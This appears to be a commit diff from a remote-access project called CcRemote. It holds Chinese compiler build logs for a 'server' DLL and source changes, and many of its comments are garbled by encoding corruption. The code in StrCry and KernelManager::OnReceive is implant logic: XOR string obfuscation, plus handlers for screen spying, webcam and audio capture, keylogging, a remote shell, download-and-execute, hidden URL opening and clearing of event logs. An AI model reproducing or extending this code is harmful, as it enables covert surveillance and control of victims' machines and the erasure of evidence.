f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
VideoCap.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(119): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
正在生成代码...
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(166): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(177): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
StrCry.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
正在生成代码...
|
||||
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
|
||||
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library
|
||||
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||
|
1
CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
Normal file
@@ -0,0 +1 @@
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
115
CcMainDll/CcMainDll/Release/CcMainDll.log
Normal file
@@ -0,0 +1,115 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
pch.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
Audio.cpp
|
||||
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
ClientSocket.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(75): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(429): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(484): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
KeyboardManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
until.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
AudioManager.cpp
|
||||
Dialupass.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
install.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
KernelManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
ScreenManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
ScreenSpy.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
VideoCap.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(119): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(177): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
StrCry.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
|
||||
正在生成代码
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
All 352 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
14
CcMainDll/CcMainDll/StrCry.cpp
Normal file
@@ -0,0 +1,14 @@
|
||||
#include "StrCry.h"
|
||||
#include "pch.h"
|
||||
//<2F><><EFBFBD>ص<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷŵ<CDB7>
|
||||
char* decodeStr(char* str)
|
||||
{
|
||||
int len = str[0];
|
||||
char * uncodeStr = (char *)operator new(len + 1);
|
||||
for (size_t i = 1; i <= len; i++)
|
||||
{
|
||||
uncodeStr[i - 1] = str[i] ^ (0xCC - i);
|
||||
}
|
||||
uncodeStr[len] = 0x00;
|
||||
return uncodeStr;
|
||||
}
|
24
CcMainDll/CcMainDll/StrCry.h
Normal file
@@ -0,0 +1,24 @@
|
||||
#pragma once
|
||||
|
||||
//<2F><><EFBFBD>ص<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷŵ<CDB7>
|
||||
//char* encryptionStr(char* str)
|
||||
//{
|
||||
// int len = strlen(str);
|
||||
// char * a = (char *)operator new(len + 1);
|
||||
// a[0] = len;
|
||||
// for (size_t i = 1; i <= len; i++)
|
||||
// {
|
||||
// a[i] = str[i - 1] ^ (0xCC - i);
|
||||
// }
|
||||
// return a;
|
||||
//}
|
||||
|
||||
char* decodeStr(char* str);
|
||||
|
||||
|
||||
|
||||
//char <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>[] = { 0x07,0xbc,0xa3,0xa7,0xbb,0xb3,0xa7,0xf5 }; //winsta0
|
||||
//char* <20><><EFBFBD>ܳ<EFBFBD><DCB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ָ<EFBFBD><D6B8> = decodeStr(winsta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
//memset(lpszWinSta, 0, winsta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
//delete lpszWinSta;
|
@@ -56,23 +56,23 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
case COMMAND_ACTIVED:
|
||||
InterlockedExchange((LONG *)&m_bIsActived, true);
|
||||
break;
|
||||
case COMMAND_LIST_DRIVE: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
case COMMAND_LIST_DRIVE: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
|
||||
break;
|
||||
case COMMAND_SCREEN_SPY: // <20><>Ļ<EFBFBD>鿴
|
||||
case COMMAND_SCREEN_SPY: // <20><>Ļ<EFBFBD>鿴
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
|
||||
break;
|
||||
case COMMAND_WEBCAM: // <20><><EFBFBD><EFBFBD>ͷ
|
||||
case COMMAND_WEBCAM: // <20><><EFBFBD><EFBFBD>ͷ
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
|
||||
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_SHELL: // Զ<><D4B6>sehll
|
||||
case COMMAND_SHELL: // Զ<><D4B6>shell-CMD
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
|
||||
break;
|
||||
@@ -80,39 +80,43 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_SYSTEM:
|
||||
case COMMAND_SYSTEM: // <20><><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_WSLIST: // <20><><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_WindowManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
|
||||
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
|
||||
(LPVOID)(lpBuffer + 1), 0, NULL, true);
|
||||
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
|
||||
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
|
||||
break;
|
||||
case COMMAND_OPEN_URL_HIDE: // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
case COMMAND_OPEN_URL_HIDE: // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
|
||||
break;
|
||||
case COMMAND_REMOVE: // ж<><D0B6>,
|
||||
case COMMAND_REMOVE: // ж<><D0B6>,
|
||||
UnInstallService();
|
||||
break;
|
||||
case COMMAND_CLEAN_EVENT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
|
||||
case COMMAND_CLEAN_EVENT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
|
||||
CleanEvent();
|
||||
break;
|
||||
case COMMAND_SESSION:
|
||||
CSystemManager::ShutdownWindows(lpBuffer[1]);
|
||||
break;
|
||||
case COMMAND_RENAME_REMARK: // <20>ı<EFBFBD>ע
|
||||
case COMMAND_RENAME_REMARK: // <20>ı<EFBFBD>ע
|
||||
SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
|
||||
break;
|
||||
case COMMAND_UPDATE_SERVER: // <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
case COMMAND_UPDATE_SERVER: // <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (UpdateServer((char *)lpBuffer + 1))
|
||||
UnInstallService();
|
||||
break;
|
||||
case COMMAND_REPLAY_HEARTBEAT: // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
case COMMAND_REPLAY_HEARTBEAT: // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
@@ -114,9 +114,12 @@ void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
|
||||
void CScreenManager::sendBITMAPINFO()
|
||||
{
|
||||
//CScreenSpy<70><79><EFBFBD>õ<EFBFBD>bmp size
|
||||
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
|
